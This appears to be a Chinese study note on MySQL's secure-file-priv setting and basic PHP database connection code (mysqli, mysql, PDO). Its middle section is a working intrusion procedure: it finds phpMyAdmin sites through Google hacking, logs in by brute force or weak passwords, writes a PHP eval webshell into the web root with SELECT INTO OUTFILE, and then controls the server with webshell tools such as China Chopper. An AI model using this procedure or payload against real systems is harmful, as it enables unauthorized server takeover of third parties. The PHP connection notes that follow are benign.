首次从数据库中导出文件，数据库会执行“__secure-file-priv”安全机制，会限制我们导出文件。查看该安全项的值：show global variables like ‘%secure-file-priv%’
Secure-file-priv 为null时 表示mysql限制导入导出
Secure-file-priv 没有值 表示mysql不限制导入导出
Secure-file-priv=/tmp 表示只能在/tmp目录下导入导出
△修改该安全选项
临时方法：set global secure-file-priv=’ ’;
注意：variable ‘secure_file_priv’ is a read only variable 表示不能通过sql语句修改
长久方法：修改配置文件
在配置文件中找到[mysqld]，后面添加secure-file-priv=’ ’
通过phpmyadmin 获取服务器权限(getshell)
step1:通过google hacking 找phpmyadmin网站
step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'
step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马
select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";
select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法
step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,将_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;
step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器
PHP+MYSQL
PHP 操作mysql 数据库
(1) 使用mysqli扩展(推荐),只针对mysql数据库
面向对象的方式
直接方法(面向过程);
(2)使用mysql扩展(php<=5.5)
(3)使用pdo ,支持12种数据库
三种数据库的连接释放.php(分别取消注释使用)
|
<?php header("Content-type:text/html;charset:utf-8"); $ser="127.0.0.1"; $name="root"; $pwd="roo"; /*m面向对象*/ /* $conn=new mysqli($ser,$name,$pwd); if($conn->connect_error){ die("连接失败:".$conn->connect_error); } echo "数据库连接成功!"; $conn->close(); */ /*面向过程*/ /* $conn=mysqli_connect($ser,$name,$pwd); if($conn){ //mysqli连接成功返回true,没有连接成功返回false; echo mysqli_connect_error(); } echo "连接成功"; var_dump($conn); mysqli_close($conn); */ /*pdo*/ /* try{ $conn=new pdo("mysql:host=$ser;",$name,$pwd); echo "成功!"; } catch(PDOException $ee){ echo $ee-> getMessage(); } $conn=null; */ |
通过phpinfo()查看当前环境中有没有mysqli和pdo的扩展
Mysqli_connect(ip:port,name,pwd,db)连接数据库
$result=mysqli_query（连接,sql语句）
Mysqli_num_rows($result) 查询记录数
Mysqli_fetch_assoc($result) 执行之后的结果将第一行转换为关联数组
Mysqli_fetch_all($result)将结果所有行转换为关联数组和数字数组
Mysqli_fetch_array()将结果第一行转换为关联数组和数字数组